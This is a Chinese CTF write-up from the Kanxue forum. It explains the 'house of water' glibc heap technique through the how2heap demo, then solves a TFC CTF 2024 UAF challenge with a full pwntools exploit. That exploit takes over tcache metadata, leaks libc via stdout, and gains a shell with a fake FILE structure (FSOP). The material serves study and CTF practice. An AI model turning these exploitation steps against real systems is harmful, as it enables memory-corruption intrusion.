早就听 Csome 学长说过有种打法叫 house of water，但是当时没去看，时间久了就忘记这个东西了，现在记起来了就来学习一下。由于笔者的水平有限，文章不免会出现许多错误，希望各位师傅能过包容以及指正。这篇文章的程序的测试环境为 ubuntu 22.04.3 TLS。概述
这个打法由国际战队 blue water 提出的，下面来看看该团队对这个打法的描述：House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache
metadata control primitive, with the added benefit of obtaining a free libc pointer in the
t-cache metadata as well.NOTE: This requires 4 bits of bruteforce if the primitive is a write primitive, as the LSB will
contain 4 bits of randomness. If you can increment integers, no brutefore is required.By setting the count of t-cache entries 0x3e0 and 0x3f0 to 1, a "fake" heap chunk header of
size "0x10001" is created.This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked
address entries, enabling the creation of a fully functional fake unsorted-bin entry.The correct size should be set for the chunk, and the next chunk's prev-in-use bit
must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values
should be written.Finally, due to the behavior of allocations from unsorted-bins, once t-cache metadata control
is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer
to be ready for allocation as well.Technique / house by @udp_ctf - Water Paddler / Blue Water
相信大多数人都没看懂（感觉是我理解力有待提高），不过不用着急，接下来我会进行比较详细的讲解。
这里需要注意的是，完成该打法不需要泄露任何内存地址且不需要任何堆上的溢出。
最终的效果是能够在 tcache 的链表上留下 libc 的相关地址，并将其申请出来，效果如下：当程序开始运行并遇到它的第一个 malloc 时，堆（main arena）将被初始化。默认情况下（libc 2.31+），将分配 0x290 的内存大小来存储 tcache_perthread_struct 结构体，该结构体存储各个不同 size 的 tcache 链表的 chunk 的个数以及最后进入链表的 chunk 的 data 区域地址。该结构体的源码如下：/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
我们最终的目的是在这个结构体中的 entries 区域留下 libc 的相关地址，进而让我们能够申请 libc 上的内存。Attack Demo
这里我们选用 how2heap 中的house of water（https://github.com/shellphish/how2heap/blob/master/glibc_2.39/house_of_water.c）这个例子来解释，这里我做了一些简单的修改，把一些英文段落进行了删除，只留下程序执行代码。house_of_water.c
// Ubuntu 22.04.3 LTS
// gcc -g house_of_water.c -o test
#include
#include
#include
int main(void) {
void *_ = NULL;
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
void *fake_size_lsb = malloc(0x3d8);
void *fake_size_msb = malloc(0x3e8);
free(fake_size_lsb);
free(fake_size_msb);
void *metadata = (void *)((long)(fake_size_lsb) & ~(0xfff));
void *x[7];
for (int i = 0; i < 7; i++) {
x[i] = malloc(0x88);
}
void *unsorted_start = malloc(0x88);
_ = malloc(0x18); // Guard chunk
void *unsorted_middle = malloc(0x88);
_ = malloc(0x18); // Guard chunk
void *unsorted_end = malloc(0x88);
_ = malloc(0x18); // Guard chunk
_ = malloc(0xf000); // Padding
void *end_of_fake = malloc(0x18); // Metadata chunk
*(long *)end_of_fake = 0x10000;
*(long *)(end_of_fake+0x8) = 0x20;
for (int i = 0; i < 7; i++) {
free(x[i]);
}
*(long*)(unsorted_start-0x18) = 0x31;
free(unsorted_start-0x10); // Create a fake FWD
*(long*)(unsorted_start-0x8) = 0x91;
*(long*)(unsorted_end-0x18) = 0x21;
free(unsorted_end-0x10); // Create a fake BCK
*(long*)(unsorted_end-0x8) = 0x91;
free(unsorted_end);
free(unsorted_middle);
free(unsorted_start);
*(unsigned long *)unsorted_start = (unsigned long)(metadata+0x80);
*(unsigned long *)(unsorted_end+0x8) = (unsigned long)(metadata+0x80);
// Next allocation *could* be our faked chunk!
void *meta_chunk = malloc(0x288);
assert(meta_chunk == (metadata+0x90));
}
因为在编译阶段我们使用了“-g”参数，可以使用gdb在任意行下断点 b + 行号。
申请了 2 个堆块，size 分别为 0x3e0 和 0x3f0，紧接着将其释放掉。
我们来看看此时的 tcache_perthread_struct 结构体：可以看到第二个框框的地方的地址就是我们刚才释放的 2 个堆块地址，而第一个框框则是 size 为 0x3e0 和 0x3f0 对应的 tcache 链表 chunk 的个数，然而这个 heapbase+0x88 这个 0x10001 可以作为我们fake chunk 的size，如果我们将这个地方作为 fake chunk 并放入 unsorted bin（后面称这个 chunk 为 fake unsorted chunk），我们就能够在 tcache_perthread_struct 结构体上踩上 libc 的地址。
接下来将断点下到第 0x38 行，这期间做的都是堆块申请工作：
连续申请了 7 个 0x90 大小的 chunk，然后交替申请 0x90 和 0x20 大小的 chunk。我们最终希望最后申请的 3 个 0x90 大小的chunk 可以进入 unsorted bin，所以每 2 个 chunk 之间都申请一个小堆块来防止他们合并。这里将要进入 unsorted bin 的三个 chunk 分别命名为：unsorted_start、unsorted_middle、unsorted_end。很好理解吧，开始、中间、结束。
最后还申请了一个特别大的 chunk，size 为 0xf0010，后面紧接着一个 size 为 0x20 的小 chunk。
接着将断点下到第 41 行，这里在最后那个 size 为 0x20 的 chunk 的 fd 位置写上 0x1000，在 bk 位置写上 0x20。这样做是为了绕过 unsorted bin的检测。我们回到最初的 fake unsorted chunk 的位置，其起始地址为0x555555559080。我们需要让这个 chunk 在 unsorted bin 中合法，我们就需要在让这样 fake unsorted chunk 在结束的时候的下个 chunk 的 prev_size 为 0x10000，且 size 的 issue 位为 0（因为 unsorted bin 中的堆块都是已经释放过的未使用的）。
接下来就是对这个 fake unsorted chunk 进行装修。
将断点下在第 57 行，此时 bin 的结构如下：期间做的操作就是将最开始申请的 7 个 0x90 大小的 chunk 给释放掉（将 size 为 0x90 大小的 tcache 链表给填满，确保后面三个 0x90 大小的堆块给释放后能够进入到 unsorted bin），然后在 unsorted_start 和 unsorted_end 上方分别伪造一个小堆块然后释放掉，这里主要讲解一下堆块的伪造。
对于 unsorted_start 上方堆块的伪造，我们直接在 unsorted_start-0x8 的地方填上 0x31 来当作 fake chunk 的 size 然后直接释放（这个 size 是有讲究的，后面会解释到），unstorted_end 的做法也类似，不过 fake chunk 的大小为 0x20。在将 fake chunk 给释放后由于堆块进入 tcache 链表后 fd+8 的地方会填上一个 key，这个 key 的作用是用来检测 tcache 上是否出现 double free，这个 key 的存在破坏了原先 unsorted_start 和 unsorted_end 这 2 个堆块的 size 位，所以我们要给予恢复，第 50 和 第 56 行的代码的作用就是如此。
那么伪造 2 个 fake chunk 然后 释放掉有什么意义呢？
我们回到前面，前面说过接下来的操作是为了对要进入 unsorted bin 的 fake unsorted chunk 进行装修，而 unsorted bin 是存在 fd 和 bk 指针的，此时再来看看我们的 fake unsorted chunk。可以看到 fake chunk 的 fd 和 bk 已经留下我们前面 2 个释放的 fake chunk 的 data 区域地址，同时这个 2 地址。
也分别是 unsorted_end 和 unsorted_start 这 2 个堆块的地址，这是因为 0x555555559090 这个地址为 tcache_perthread_struct 结构体 entries 链表的起始地址，存放的是最后进入 0x20 大小的 tcache 链表的堆块的地址，而我们最后释放的 2 个 fake chunk 大小分别为 0x20 和 0x30。
我们将断点下到第 63 行，期间进行的操作为：依次释放 unsorted_end、unsorted_middle、unsorted_start。bin 的结构如下：接下来我们的操作是要让我们一开始在 tcache_perthread_struct 中伪造的堆块链入 unsorted bin，这里的操作是将 unsorted_middle 给替换为 fake chunk。回到我们 fake chunk 的那张图片，我们可以看到 fake chunk 的fd 指针已经指向 unsorted_end，bk 指针已经指向 unsorted_start，所以接下来的操作就是令 unsorted_start 的 fd 指针指向 fake unsorted chunk，unsorted_end 的 bk 指针指向 fake unsorted chunk 即可完成 unsorted bin 上堆块替换操作。
将断点下在第 67 行，期间的操作就是进行上述的指针替换操作，最后的 bin 结构如下：可以看到已经成功将 unsorted_middle 给替换为 fake chunk。
接下来就是要让 fake unsorted chunk 的 fd 指针和 bk 指针出现 libc 的地址，当我们申请一个 chunk 的size 小于 0x10000 且无对应 size 的 chunk 在tcache 和其他 bin 中时，会先对 unsroted bin 进行遍历，然后 unsorted_end 和 unsorted_start 送入 smallbin 中，将 fake chunk 送入 largebin 中，此时 fake chunk 的 fd 和 bk 指针指向 libc 的相关地址，此时再在 fake unsorted chunk 中切割出合适大小的堆块进行分配。how2heap 的代码中选择申请的堆块大小为 0x290，其实申请的大小满足我上面所说的条件即可。
将断点下到 70 行，此时已经完成了堆块的申请，查看 tcache_perthread_struct 结构体和 bin 的结构：此时我们可以进行 libc 上内存的分配，这也是 house of water 的所有内容，后续的攻击就看每个人的需求了。总结
可以看到 house of water 能够在没有内存泄露的情况下在 tcache 链上留下 libc 的相关地址。在修改 unsorted_start 和 unsroted_end 的指针使 fake unsorted chunk 链入unosorted chunk 的这步中我们需要进行一步小爆破，因为我们每次修改不能只覆盖地址的低3位，而是低4位，在开启了 alsr 的环境下从第 4 位开始的地址都是随机的。
我认为 house of water 攻击的关键是伪造并释放那 2 个大小分别为 0x20 和 0x30 的堆块，想了想这个伪造在 pwn 题中并不简单。
希望读者能够自己调试一遍 how2heap 里面的代码，相信你们一定会有新的收获。这道题目需要用到 house of water，当时好像有 7 解了，可是我还没做出来。
当时的想法是让同一个 chunk 同时进入 unsortedbin 和 smallbin 以此来留下 libc 的地址，可是搞了半天什么都没搞出来，不知道有没有师傅是用这种方法做出来的。
题目可以从 r3kapig 战队的比赛题库中找到：TFC CTF 2024(Jeopardy) (https://r3kapig-not1on.notion.site/TFC-CTF-2024-Jeopardy-bc81d99eb2064c8db48faf5bc5af50ee)
这题附件里给的 dockerfile 里写的远程环境为 ubuntu:24.10，我寻思着这不也才 8 月嘛，怎么都有 10 了。
这里我做了个小偷懒，libc 我用了本地的 2.35，不过大差不差，最终思路还是一样的，也就一个偏移不同而已。ida伪代码
main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-8h]
v5 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
for ( i = 0; i <= 255; ++i )
guava_gius[i] = 0LL;
banner();
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v3);
if ( v3 == 3 )
exit(0);
if ( v3 > 3 )
{
LABEL_13:
puts("invalid choice");
}
else if ( v3 == 1 )
{
guava();
}
else
{
if ( v3 != 2 )
goto LABEL_13;
gius();
}
}
}
guava
unsigned __int64 guava()
{
int v0; // eax
int v2; // [rsp+8h] [rbp-18h] BYREF
int v3; // [rsp+Ch] [rbp-14h] BYREF
char *v4; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
if ( cnt_guavas > 255 )
{
puts("guava overload");
exit(0);
}
printf("how many guavas: ");
__isoc99_scanf("%d", &v2);
if ( v2 > 1791 )
{
puts("guava overload");
exit(0);
}
v4 = (char *)malloc(v2);
printf("guavset: ");
__isoc99_scanf("%d", &v3);
if ( v3 < 0 || v2 - 2 <= v3 )
{
puts("guava overload");
exit(0);
}
printf("guavas: ");
read(0, &v4[v3], v2 - v3);
v0 = cnt_guavas++;
guava_gius[v0] = v4;
return v5 - __readfsqword(0x28u);
}
gius
unsigned __int64 gius()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("guava no: ");
__isoc99_scanf("%d", &v1);
if ( v1 >= 0x100 )
{
puts("guava overload");
exit(0);
}
free((void *)guava_gius[v1]);
return v2 - __readfsqword(0x28u);
}
漏洞分析
这是一个很典型的菜单程序，实现了堆块的申请和释放功能，没有编辑和和打印功能。漏洞十分的明显，就是 gius 在释放堆块后并没有将相应的指针置 0，这里存在 UAF 漏洞。程序最多可以申请 0x100 个堆块，每个堆块最大为 0x1791，这不摆明着让我们使用 house of water 进行攻击嘛？def meau(index):
p.recvuntil('*>',timeout = 1)
p.sendline(str(index))
def add(size,index=0,content=b'a'):
meau(1)
p.recvuntil('how many guavas:')
p.sendline(str(size))
p.recvuntil('guavset:',timeout=1)
p.sendline(str(index))
p.recvuntil('guavas:')
p.send(content)
def free(index):
meau(2)
p.recvuntil('guava no:')
p.sendline(str(index))
现在我们的整理思路是利用 house of water 实现 stdout 上的内存分配，然后通过 stdout 泄露出 libc 的地址，最后通过伪造 io file 来 getshell。
既然上面说到 house of water 的关键是伪造 unsorted_start 和 unsroted_end 上方的2个小堆块，这里就先进行这一步，已经 unsorted_start 为例。获取堆块索引
因为我们的小 fake chunk 和 unsorted_start 最终都是要给 free 掉的，所以我们要先获得他的索引，这里我使用的是堆块切割法，通过让一个巨大的堆块进入 unsorted bin，然后按照一定的大小申请 2 个堆块出来获取索引，然后再将申请出来的堆块释放掉，使其再次和合并进入 unsorted bin，相关代码如下：add(0x600) # 7
add(0x600) # 8 fake 0x30
add(0x600) # 9
add(0x500) # 10
free(7)
free(8)
free(9)
add(0x610) # 11
add(0x500) # 12 unsorted_start
free(11)
free(12)
add(0x610,0x608,p64(0x31)) # 13
free(13)
free(8)
add(0x610) # 14
add(0x500) # 15 unsorted_start
add(0x6e0) # 16
这里我一共申请了 4 个大堆块，其中第 4 个堆块是用于防止 unsorted bin 与 top chunk 进行合并。可能有人会问为什么我要申请这么大的堆块来防止合并，其实我是为了减少对 tcache 的影响，因为 house of water 后的攻击将会在 tcache_perthread_struct 中进行，所以我尽可能的让更少的 chunk 进入 tcache。这里进行了 fake 0x30 和 unsorted_start 2 个堆块索引的获取，并将 fake 0x30 释放掉进入 tcache。add(0x600) # 7
add(0x600) # 8 fake 0x30
add(0x600) # 9
add(0x500) # 10
free(7)
free(8)
free(9)
add(0x610) # 11
add(0x500) # 12 unsorted_start
free(11)
free(12)
add(0x610,0x608,p64(0x31)) # 13
free(13)
free(8)
add(0x610) # 14
add(0x500) # 15 unsorted_start
add(0x6e0) # 16
free(15) # free unsorted_start
这里释放了我们 unsorted_start，此时 bin 的结构如下：可以看到 0x30 的 tcache 和 unsorted bin 指向的是同一块区域，说明我们伪造成功。
对于 unsorted_end 上方 fake chunk 的伪造原理相同，只不过这里的 fake chunk 大小为 0x20，代码如下：add(0x600) # 17
add(0x600) # 18 fake 0x20
add(0x600) # 19
add(0x500) # 20
free(17)
free(18)
free(19)
add(0x610) # 21
add(0x500) # 22 unsorted_end
free(21)
free(22)
add(0x610,0x608,p64(0x21)) # 23
free(23)
free(18)
add(0x610) # 24
add(0x500) # 25 unsorted_end
add(0x6e0) # 26
接下来需要获取 unsorted_middle 这个堆块的索引，因为这个堆块不需要在上方伪造 fake chunk，所以索引比较容易获得，直接申请即可：add(0x500) # 27 unsorted_middle
add(0x600) # 28
后面依然进行简单的操作，在 tcache_perthread_struct 上进行 fake unsorted chunk 的伪造，这部也比较简单，已经成为模板化的东西了，申请 2 个 size 分别为 0x3f0 和 0x3e0 的堆块然后直接释放掉即可。add(0x3e8) # 29
add(0x3d8) # 30
free(29)
free(30)
获取能够修改 unsorted_start 和 unsorted_end 的堆块
这一步主要是因为程序没有编辑功能，当我们将 unsorted_end、unsorted_middle、unsorted_start 释放进 unsorted bin 时我们就无法修改 unsorted_start 和 unsorted_end 的指针。 # 获取一个 tcache 的索引，该 tcache 能够修改 fake 0x30 和 unsorted_start
free(14)
free(15)
add(0x300) # 31
add(0x300-0x20) # 32
add(0x330) # 33 change unsorted_start
free(33)
add(0x1e0) # 34
# 获取一个 tcache 的索引，该 tcache 能够修改 fake 0x20 和 unsorted_end
free(24)
free(25)
add(0x300) # 35
add(0x300-0x20) # 36
add(0x340) # 37 change unsorted_end
free(37)
add(0x1d0) # 38
这里用于修改 unsorted_start 和 unsorted_end 的堆块我选择的大小为 0x340 和 0x350，因为这个 2 个大小的堆块个释放后是直接进入 tcache，对后面 unsorted bin 中存储的 unsorted_end、unsorted_middle、unsorted_start 影响比较小。
但由于这个操作改变了原来 unsorted_end、unsorted_start 的 size位。所以我们需要用我们刚获取的 tcache 堆块来对 unsorted_end、unsorted_start 的 size 位进行恢复。 add(0x330,0x18,p64(0x511)) # 39
free(39)
add(0x340,0x18,p64(0x511)) # 40
free(40)
伪造 fake unsorted chunk 的prev_size 和 size
因为我们的 fake unsorted chunk 最终进入到 unsorted bin 中，unsorted bin 会检测这个堆块的合法性，会检测 fake unosrted chunk 的 next chunk 的prev_size 和 size，伪造代码如下：for i in range(36):
add(0x500)
add(0x210) # 76
add(0x30,0x20,p64(0x10000)+p64(0x20)) # 77
注意这里 next chunk 的 issue 位要为 0，因为 unsorted bin 上的堆块都是没有给使用的。
接下来就是愉快的一条龙服务，依次释放 unsorted_end、unsorted_middle、unsorted_start 进入 unsorted bin，然后分别修改 unsorted_start 和 unsorted_end 的 fd 和 bk 指针将 fake unsorted chunk 链入 unsorted bin 中。add(0x238) #78
add(0x248) #79
free(78)
free(79)
# 依次释放 unsorted_end、unsorted_middle、unsorted_start
free(25)
free(27)
free(15)
# 令 unsorted_start 的 fd 指针和 unsorted_end 的 bk 指针指向 fake unsorted chunk
add(0x330,0x20,p16(0x0080)) # 80
free(80)
add(0x340,0x28,p16(0x0080)) # 81
free(81)
这里我提前申请了 2 个 chunk，大小分别为 0x240 和 0x250，这 2 个堆块在后续的攻击中会用到。在修改 fd 和 bk指针中我们需要爆破地址的第 4 位，概率为 1/16，我这里选择爆破的是 heapbase 的第 4 位为 0，成功后的效果如下：可以看到 fake unsorted chunk 已经进入到 unsorted bin 中，现在我们来梳理一下目前的状况：
目前 unsorted bin 中有 3 个堆块，两侧的 unsorted_end、unsorted_start 大小为 0x510，中间的 fake unsorted chunk 的大小为 0x10001，两侧的堆块十分的碍事，所以我们将其申请出来。此时 fake unsorted chunk 已经进入到 largebin 中，并在 tcache 上踩下 libc 的地址。现在我们的思路就非常的明确了，我的做法是先申请一个 0x110 大小的堆块。此时 largebin 的 fd 指针所在的位置正好是 tcache_perthread_struct 上 0x240 大小 tcache 最后一个 chunk 的存储地址，此时已经给踩上了 libc 的地址。然后再将该地址申请出来，将地址的低 3 位改为 stdout 地址的低 3 位，爆破第 4 位，用 tcache 分配堆块到 stdout 上进而泄露出 libc 的地址，这里的爆破成功率也为 1/16。add(0x100,0,p16(0x2780))
add(0x230,0,p64(0xfbad1800)+p64(0)*3+b'\x00\x00')
p.recvuntil(b'\x7f',timeout=1)
libc_base = u64(p.recvuntil(b'\x7f',timeout=1)[-6:].ljust(8,b'\x00'))-0x219aa0
获取 libc 地址后我们可以吧刚才申请在 tcache_perthread_struct 上的堆块释放掉再重新申请回来，然后在 tcache_perthread_struct 上存储 0x250 大小 tcache 最后一个 chunk 的地方写上IO_2_1_stderr的地址，并申请 0x250 大小的堆块在IO_2_1_stderr上写上 fake file。free(86)
add(0x100,0x8,p64(libc_base+libc.symbols['_IO_2_1_stderr_']))
fake_file = flat({
0x0: b" sh;",
0x28: libc_base + libc.symbols['system'],
0x88: libc_base + libc.symbols['_environ']-0x10,
0xa0: libc_base+libc.symbols['_IO_2_1_stderr_']-0x40, # _wide_data
0xD8: libc_base + libc.symbols['_IO_wfile_jumps'], # jumptable
}, filler=b"\x00")
最后让程序通过 exit 函数退出即可执行我们的 fsop 攻击。
下面给出完整 exp，exp 写的比较乱且注释上对堆块的标号有点不太准确，请师傅们多多包容。exp
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import base64
from bisect import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# ld = ELF('./ld-2.31.so')
def lg(buf):
global heap_base
global libc_base
global target
global temp
global stack
global leak
log.success(f'\033[33m{buf}:{eval(buf):#x}\033[0m')
def meau(index):
p.recvuntil('*>',timeout = 1)
p.sendline(str(index))
def add(size,index=0,content=b'a'):
meau(1)
p.recvuntil('how many guavas:')
p.sendline(str(size))
p.recvuntil('guavset:',timeout=1)
p.sendline(str(index))
p.recvuntil('guavas:')
p.send(content)
def free(index):
meau(2)
p.recvuntil('guava no:')
p.sendline(str(index))
while True:
p = process(["./ld-linux-x86-64.so.2", "./pwn"],
env={"LD_PRELOAD":"./libc.so.6"})
# 这两个循环为多余操作，当时脑抽写的，后面懒的删了
for i in range(7):
add(0x88)
for i in range(7):
free(i)
# 获取 fake 0x30 和 unsorted_start 堆块的索引
add(0x600) # 7
add(0x600) # 8 fake 0x30
add(0x600) # 9
add(0x500) # 10
free(7)
free(8)
free(9)
add(0x610) # 11
add(0x500) # 12 unsorted_start
free(11)
free(12)
add(0x610,0x608,p64(0x31)) # 13
free(13)
free(8)
add(0x610) # 14
add(0x500) # 15 unsorted_start
add(0x6e0) # 16
# 获取 fake 0x20 和 unsorted_end 堆块的索引
add(0x600) # 17
add(0x600) # 18 fake 0x20
add(0x600) # 19
add(0x500) # 20
free(17)
free(18)
free(19)
add(0x610) # 21
add(0x500) # 22 unsorted_end
free(21)
free(22)
add(0x610,0x608,p64(0x21)) # 23
free(23)
free(18)
add(0x610) # 24
add(0x500) # 25 unsorted_end
add(0x6e0) # 26
# 获取 unsorted_middle 的索引
add(0x500) # 27 unsorted_middle
add(0x600) # 28
# 伪造 fake unsorted chunk （size、fd、bk）
add(0x3e8) # 29
add(0x3d8) # 30
free(29)
free(30)
# 获取一个 tcache 的索引，该 tcache 能够修改 fake 0x30 和 unsorted_start
free(14)
free(15)
add(0x300) # 31
add(0x300-0x20) # 32
add(0x330) # 33 change unsorted_start
free(33)
add(0x1e0) # 34
# 获取一个 tcache 的索引，该 tcache 能够修改 fake 0x20 和 unsorted_end
free(24)
free(25)
add(0x300) # 35
add(0x300-0x20) # 36
add(0x340) # 37 change unsorted_end
free(37)
add(0x1d0) # 38
add(0x330,0x18,p64(0x511)) # 39
free(39)
add(0x340,0x18,p64(0x511)) # 40
free(40)
# 在后面填充堆块，并伪造 prev_size 和 size 使 fake unsorted chunk 合法
for i in range(36):
add(0x500)
add(0x210) # 76
add(0x30,0x20,p64(0x10000)+p64(0x20)) # 77
# 提前让 0x240、0x250 两个大小的堆块进入到 tcache，后面会用上
add(0x238) #78
add(0x248) #79
free(78)
free(79)
# 依次释放 unsorted_end、unsorted_middle、unsorted_start
free(25)
free(27)
free(15)
# 令 unsorted_start 的 fd 指针和 unsorted_end 的 bk 指针指向 fake unsorted chunk
add(0x330,0x20,p16(0x0080)) # 80
free(80)
add(0x340,0x28,p16(0x0080)) # 81
free(81)
try:
add(0x500) # 82
except:
p.close()
continue
# 将多余的 largebin 申请出来
add(0x500) # 83
# 修改
add(0x100,0,p16(0x2780)) # 84
add(0x100,0,p16(0x2780)) # 85
try:
add(0x230,0,p64(0xfbad1800)+p64(0)*3+b'\x00\x00') # 86
except:
p.close()
continue
libc_base = 0
try:
p.recvuntil(b'\x7f',timeout=1)
libc_base = u64(p.recvuntil(b'\x7f',timeout=1)[-6:].ljust(8,b'\x00'))-0x219aa0
if hex(libc_base)[2] != '7' or hex(libc_base)[3] != 'f':
raise ValueError("leak libc error")
except:
p.close()
continue
lg("libc_base")
# 释放 tcache_perthread_struct 上的堆块，使我们能够再次编辑该结构体
free(86)
# 令 size 为 0x250 的 tcache 指向 _IO_2_1_stderr_
add(0x100,0x8,p64(libc_base+libc.symbols['_IO_2_1_stderr_'])) # 87
fake_file = flat({
0x0: b" sh;",
0x28: libc_base + libc.symbols['system'],
0x88: libc_base + libc.symbols['_environ']-0x10,
0xa0: libc_base+libc.symbols['_IO_2_1_stderr_']-0x40, # _wide_data
0xD8: libc_base + libc.symbols['_IO_wfile_jumps'], # jumptable
}, filler=b"\x00")
# 在 _IO_2_1_stderr_ 上写上我们的 fake file
add(0x240,0,fake_file)
# 退出程序，执行 fsop 攻击
meau(3)
p.sendline(b'cat flag.txt')
p.interactive()
break
由于需要分别在 heapbase 和 stdout 上进行一次爆破，所以脚本执行的成功率为 1/256，运行后还要等半天。看雪ID：Qanux
https://bbs.kanxue.com/user-home-985117.htm
*本文为看雪论坛精华文章，由 Qanux 原创，转载请注明来自看雪社区
